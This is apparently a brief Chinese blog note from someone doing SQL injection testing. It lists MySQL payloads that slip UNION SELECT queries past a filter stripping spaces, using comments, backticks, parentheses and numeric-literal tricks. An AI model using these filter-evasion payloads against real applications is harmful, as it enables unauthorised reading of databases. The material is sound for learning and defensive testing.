关于mysql注入,替换空格

在今天进行sql注入的测试过程中,在代码中过滤了空格 – # ,等字符串,经过不懈的努力,最终只剩下空格还没有被替换,所以在这,总结一下在mysql中如何替换空格。

替换空格:
select * from table where id=1E0union selsect 1,2,3
select * from table where id=1.0union select 1,2,3
select * from table where id=\Nunion select 1,2,3
select * from table where id=1/**/union select 1,2,3
**最漂亮的一个:  select * from table where id=1.0union select`*`from`table`;**
select * from table where id=1.0union(select`*`from`table`);
 select(count(*))from(users)

待补充………………………………

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值